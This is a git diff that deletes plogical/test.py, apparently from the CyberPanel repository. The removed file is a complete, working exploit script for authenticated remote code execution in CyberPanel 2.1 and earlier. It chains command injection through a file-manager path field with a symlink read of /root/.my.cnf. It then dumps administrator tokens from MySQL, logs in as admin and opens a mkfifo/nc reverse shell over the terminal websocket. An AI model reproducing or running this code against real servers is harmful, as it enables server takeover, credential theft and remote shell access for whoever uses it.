diff --git a/plogical/test.py b/plogical/test.py index 88ad1362c..e69de29bb 100644 --- a/plogical/test.py +++ b/plogical/test.py @@ -1,233 +0,0 @@ -# Title: CyberPanel 2.1 - Remote Code Execution (RCE) (Authenticated) -# Date: 27.08.2021 -# Author: Numan Türle -# Vendor Homepage: https://cyberpanel.net/ -# Software Link: https://github.com/usmannasir/cyberpanel -# Version: <=2.1 -# https://www.youtube.com/watch?v=J_8iLELVgkE - - -# !/usr/bin/python3 -# -*- coding: utf-8 -*- -# CyberPanel - Remote Code Execution (Authenticated) -# author: twitter.com/numanturle -# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE] -# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password - - -import argparse, requests, warnings, json, re, base64, websocket, ssl, _thread, time -from requests.packages.urllib3.exceptions import InsecureRequestWarning -from cmd import Cmd - -warnings.simplefilter('ignore', InsecureRequestWarning) - - -def init(): - parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution') - parser.add_argument('-u', '--host', help='Host', type=str, required=True) - parser.add_argument('-l', '--login', help='Username', type=str, required=True) - parser.add_argument('-p', '--password', help='Password', type=str, required=True) - parser.add_argument('-f', '--file', help='File', type=str) - args = parser.parse_args() - exploit(args) - - -def exploit(args): - def on_open(ws): - verifyPath, socket_password - print("[+] Socket connection successful") - print("[+] Trying a reverse connection") - ws.send(json.dumps({"tp": "init", "data": {"verifyPath": verifyPath, "password": socket_password}})) - ws.send(json.dumps( - {"tp": "client", "data": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r", - "verifyPath": verifyPath, "password": socket_password})) - ws.close() - - def on_close(ws, close_status_code, close_msg): - print("[+] Successful") - print("[!] Disconnect from socket") - - session = requests.Session() - target = "https://{}:8090".format(args.host) - username = args.login - password = args.password - - print("[+] Target {}".format(target)) - - response = session.get(target, verify=False) - session_hand = session.cookies.get_dict() - token = session_hand["csrftoken"] - - print("[+] Token {}".format(token)) - - headers = { - 'X-Csrftoken': token, - 'Cookie': 'csrftoken={}'.format(token), - 'Referer': target - } - - login = session.post(target + "/verifyLogin", headers=headers, verify=False, - json={"username": username, "password": password, "languageSelection": "english"}) - login_json = json.loads(login.content) - - if login_json["loginStatus"]: - session_hand_login = session.cookies.get_dict() - - print("[+] Login Success") - print("[+] Send request fetch websites list") - - headers = { - 'X-Csrftoken': session_hand_login["csrftoken"], - 'Cookie': 'csrftoken={};sessionid={}'.format(token, session_hand_login["sessionid"]), - 'Referer': target - } - - feth_weblist = session.post(target + "/websites/fetchWebsitesList", headers=headers, verify=False, - json={"page": 1, "recordsToShow": 10}) - feth_weblist_json = json.loads(feth_weblist.content) - - if feth_weblist_json["data"]: - - weblist_json = json.loads(feth_weblist_json["data"]) - domain = weblist_json[0]["domain"] - domain_folder = "/home/{}".format(domain) - - print("[+] Successfully {} selected".format(domain)) - print("[+] Creating ssh pub") - - remove_ssh_folder = session.post(target + "/filemanager/controller", headers=headers, verify=False, - json={"path": domain_folder, "method": "deleteFolderOrFile", - "fileAndFolders": [".ssh"], "domainRandomSeed": "", - "domainName": domain, "skipTrash": 1}) - create_ssh = session.post(target + "/websites/fetchFolderDetails", headers=headers, verify=False, - json={"domain": domain, "folder": "{}".format(domain_folder)}) - create_ssh_json = json.loads(create_ssh.content) - - if create_ssh_json["status"]: - key = create_ssh_json["deploymentKey"] - - print("[+] Key : {}".format(key)) - - explode_key = key.split() - explode_username = explode_key[-1].split("@") - - if explode_username[0]: - username = explode_username[0] - hostname = explode_username[1] - - print("[+] {} username selected".format(username)) - print("[+] Preparing for symlink attack") - print("[+] Attempting symlink attack with user-level command execution vulnerability #1") - - target_file = args.file - if not target_file: - target_file = "/root/.my.cnf" - domain_folder_ssh = "{}/.ssh".format(domain_folder) - command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh, username, target_file, - domain_folder_ssh, username) - - completeStartingPath = "{}';{};'".format(domain_folder, command) - print('complete starting path: %s' % completeStartingPath) - time.sleep(5) - # filemanager/controller - completeStartingPath - command execution vulnerability - - symlink = session.post(target + "/filemanager/controller", headers=headers, verify=False, - json={"completeStartingPath": completeStartingPath, "method": "listForTable", - "home": domain_folder, "domainRandomSeed": "", "domainName": domain}) - symlink_json = json.loads(symlink.content) - - if symlink_json["status"]: - print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file)) - - read_file = session.post(target + "/websites/fetchFolderDetails", headers=headers, verify=False, - json={"domain": domain, "folder": "{}".format(domain_folder)}) - read_file_json = json.loads(read_file.content) - read_file = read_file_json["deploymentKey"] - if not args.file: - print("-----------------------------------") - print(read_file.strip()) - print("-----------------------------------") - - mysql_password = re.findall('password=\"(.*?)\"', read_file)[0] - steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format( - mysql_password, domain_folder) - - print("[+] Fetching users tokens") - - completeStartingPath = "{}';{}".format(domain_folder, steal_token) - steal_token_request = session.post(target + "/filemanager/controller", headers=headers, - verify=False, - json={"completeStartingPath": completeStartingPath, - "method": "listForTable", "home": domain_folder, - "domainRandomSeed": "", "domainName": domain}) - token_file = domain_folder + "/token.txt" - steal_token_read_request = session.post(target + "/filemanager/controller", headers=headers, - verify=False, json={"fileName": token_file, - "method": "readFileContents", - "domainRandomSeed": "", - "domainName": domain}) - leak = json.loads(steal_token_read_request.content) - leak = leak["fileContents"].replace("Basic ", "").strip().split("\n")[1:] - print("------------------------------") - for user in leak: - b64de = base64.b64decode(user).decode('utf-8') - exp_username = b64de.split(":") - if exp_username[0] == "admin": - admin_password = exp_username[1] - print("[+] " + b64de) - print("------------------------------") - print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") - print("[+] Try login admin") - - headers = { - 'X-Csrftoken': token, - 'Cookie': 'csrftoken={}'.format(token), - 'Referer': target - } - login_admin = session.post(target + "/verifyLogin", headers=headers, verify=False, - json={"username": "admin", "password": admin_password, - "languageSelection": "english"}) - login_json = json.loads(login_admin.content) - if login_json["loginStatus"]: - session_hand_login = session.cookies.get_dict() - - print("[+] 4dm1n_l061n_5ucc355") - print("[+] c0nn3c71n6_70_73rm1n4l") - headers = { - 'X-Csrftoken': session_hand_login["csrftoken"], - 'Cookie': 'csrftoken={};sessionid={}'.format(token, - session_hand_login["sessionid"]), - 'Referer': target - } - - get_websocket_token = session.get(target + "/Terminal", headers=headers, verify=False) - verifyPath = \ - re.findall('id=\"verifyPath\">(.*?)', str(get_websocket_token.content))[-1] - socket_password = \ - re.findall('id=\"password\">(.*?)', str(get_websocket_token.content))[-1] - print("[+] verifyPath {}".format(verifyPath)) - print("[+] socketPassword {}".format(socket_password)) - print("[+] Trying to connect to socket") - ws = websocket.WebSocketApp("wss://{}:5678".format(args.host), - on_open=on_open, - on_close=on_close) - ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE}) - - else: - print("[-] Auto admin login failed") - else: - print(read_file) - else: - print("[-] Unexpected") - else: - print("[-] Username selected failed") - else: - print("[-] Fail ssh pub") - else: - print("[-] List error") - else: - print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"])) - - -if __name__ == "__main__": - init() \ No newline at end of file